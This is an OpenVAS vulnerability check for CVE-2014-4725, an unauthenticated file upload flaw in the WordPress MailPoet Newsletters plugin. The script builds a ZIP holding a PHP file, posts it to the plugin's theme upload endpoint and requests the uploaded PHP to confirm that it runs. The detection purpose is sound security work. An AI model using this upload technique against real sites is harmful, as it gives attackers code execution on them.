WordPress MailPoet Newsletters Plugin Remote File Upload Vulnerability

2014-07-28T00:00:00
ID OPENVAS:1361412562310804724
Type openvas
Reporter Copyright (C) 2014 Greenbone Networks GmbH
Modified 2020-02-26T00:00:00

Description

This host is installed with WordPress MailPoet Plugin and is prone to remote file upload vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# WordPress MailPoet Newsletters Plugin Remote File Upload Vulnerability
#
# Authors:
# Thanga Prakash S <tprakash@secpod.com>
#
# Copyright:
# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804724");
  script_version("2020-02-26T12:57:19+0000");
  script_cve_id("CVE-2014-4725");
  script_bugtraq_id(68310);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2020-02-26 12:57:19 +0000 (Wed, 26 Feb 2020)");
  script_tag(name:"creation_date", value:"2014-07-28 12:35:07 +0530 (Mon, 28 Jul 2014)");
  script_name("WordPress MailPoet Newsletters Plugin Remote File Upload Vulnerability");


  script_tag(name:"summary", value:"This host is installed with WordPress MailPoet Plugin and is prone to remote
file upload vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is is able to
upload file or not.");
  script_tag(name:"insight", value:"Flaw is due to the program uses the admin_init hook to determine if a user
is an admin.");
  script_tag(name:"impact", value:"Successful exploitation will allow unauthenticated remote attacker to upload
files in an affected site.");
  script_tag(name:"affected", value:"WordPress MailPoet Newsletters Plugin version prior to 2.6.7.");
  script_tag(name:"solution", value:"Update to version 2.6.7 or later.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/33991");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127363");
  script_xref(name:"URL", value:"http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"http://wordpress.org/plugins/wysija-newsletters");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + '/wp-admin/admin-post.php?page=wysija_campaigns&action=themes';

zipFile = raw_string(
    0x50, 0x4b, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x62, 0xb7, 0xfb, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00,
    0x45, 0x58, 0x50, 0x31, 0x41, 0x31, 0x42, 0x31, 0x43, 0x2f,
    0x73, 0x74, 0x79, 0x6c, 0x65, 0x2e, 0x63, 0x73, 0x73, 0x50,
    0x4b, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x62,
    0xb7, 0xfb, 0x44, 0x93, 0x41, 0x27, 0x78, 0xa9, 0x00, 0x00,
    0x00, 0x0d, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x45,
    0x58, 0x50, 0x31, 0x41, 0x31, 0x42, 0x31, 0x43, 0x2f, 0x45,
    0x58, 0x50, 0x32, 0x41, 0x32, 0x42, 0x32, 0x43, 0x2e, 0x70,
    0x68, 0x70, 0x5d, 0x8e, 0x4f, 0x0b, 0x82, 0x40, 0x10, 0xc5,
    0xbf, 0xca, 0x20, 0x81, 0x6b, 0x84, 0xe1, 0xd9, 0x4a, 0x34,
    0xa2, 0x43, 0x45, 0xd1, 0xa9, 0x9b, 0x98, 0xce, 0xea, 0xd2,
    0xb6, 0x2b, 0xbb, 0xeb, 0x49, 0xfc, 0xee, 0xf9, 0x27, 0x0d,
    0x3b, 0x0c, 0x0c, 0x6f, 0x7e, 0xf3, 0xde, 0xdb, 0x04, 0x65,
    0x51, 0x42, 0x3b, 0x4c, 0x50, 0x49, 0x1c, 0x1f, 0x68, 0x25,
    0x52, 0xc3, 0xa4, 0x80, 0x0c, 0x39, 0x1a, 0x8c, 0x29, 0xe3,
    0xa8, 0xc9, 0xc2, 0x24, 0x2a, 0x47, 0xe3, 0x40, 0x0d, 0x8c,
    0x12, 0xa6, 0xe3, 0x8c, 0xa9, 0x49, 0x74, 0x6a, 0x58, 0xf4,
    0x18, 0x6c, 0x21, 0xe7, 0xf2, 0x49, 0xe0, 0x7b, 0x01, 0x17,
    0xec, 0xa5, 0xbd, 0x82, 0xe3, 0xf9, 0x1a, 0xc5, 0x97, 0xf0,
    0x7e, 0x82, 0x2e, 0x40, 0x2a, 0x4c, 0xd2, 0x82, 0x8c, 0x3f,
    0x89, 0x1e, 0x36, 0x68, 0x6d, 0x66, 0x99, 0xa3, 0xec, 0x43,
    0x03, 0xea, 0xdd, 0x05, 0x4e, 0xbe, 0xbd, 0x86, 0x5c, 0xe3,
    0x50, 0xa6, 0xe3, 0x7e, 0x6d, 0xda, 0x8e, 0x95, 0xe0, 0x4c,
    0xbc, 0xfe, 0xf8, 0x66, 0x6e, 0x6f, 0xb9, 0xee, 0xfa, 0xf0,
    0xb8, 0x79, 0xa1, 0x17, 0x79, 0x7b, 0xab, 0x25, 0x82, 0xdd,
    0x07, 0x50, 0x4b, 0x01, 0x02, 0x14, 0x00, 0x14, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x62, 0xb7, 0xfb, 0x44, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x58, 0x50,
    0x31, 0x41, 0x31, 0x42, 0x31, 0x43, 0x2f, 0x73, 0x74, 0x79,
    0x6c, 0x65, 0x2e, 0x63, 0x73, 0x73, 0x50, 0x4b, 0x01, 0x02,
    0x14, 0x00, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x62, 0xb7,
    0xfb, 0x44, 0x93, 0x41, 0x27, 0x78, 0xa9, 0x00, 0x00, 0x00,
    0x0d, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00,
    0x00, 0x00, 0x45, 0x58, 0x50, 0x31, 0x41, 0x31, 0x42, 0x31,
    0x43, 0x2f, 0x45, 0x58, 0x50, 0x32, 0x41, 0x32, 0x42, 0x32,
    0x43, 0x2e, 0x70, 0x68, 0x70, 0x50, 0x4b, 0x05, 0x06, 0x00,
    0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, 0x86, 0x00, 0x00,
    0x00, 0x0f, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0a);

postData = string('--_Part_603_1670094684_507096491\r\n',
                  'Content-Disposition: form-data; name="my-theme"; filename="bwdQc.zip"\r\n',
                  'Content-Type: application/x-zip-compressed\r\n',
                  'Content-Transfer-Encoding: binary\r\n\r\n', zipFile ,
                  '--_Part_603_1670094684_507096491\r\n',
                  'Content-Disposition: form-data; name="overwriteexistingtheme"\r\n\r\n',
                  'on\r\n', '--_Part_603_1670094684_507096491\r\n',
                  'Content-Disposition: form-data; name="action"\r\n\r\n',
                  'themeupload\r\n', '--_Part_603_1670094684_507096491\r\n',
                  'Content-Disposition: form-data; name="submitter"\r\n\r\n',
                  'Upload\r\n', '--_Part_603_1670094684_507096491\r\n',
                  'Content-Disposition: form-data; name="page"\r\n\r\n',
                  'GZNeFLoZAb\r\n', '--_Part_603_1670094684_507096491--\r\n');

sndReq = string("POST ", url, " HTTP/1.1\r\n",
                "Host: ", get_host_name(), "\r\n",
                "Content-Type: multipart/form-data; boundary=_Part_603_1670094684_507096491\r\n",
                "Content-Length: ", strlen(postData), "\r\n\r\n",
                "\r\n", postData, "\r\n");

rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

## Uploaded file URL
url = dir + '/wp-content/uploads/wysija/themes/EXP1A1B1C/EXP2A2B2C.php';

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
   pattern:">phpinfo\(\)<", extra_check:">PHP Documentation<"))
{
  if(http_vuln_check(port:http_port, url:url,
     check_header:FALSE, pattern:"HTTP/1.. 404"))
  {
    security_message(http_port);
    exit(0);
  }
}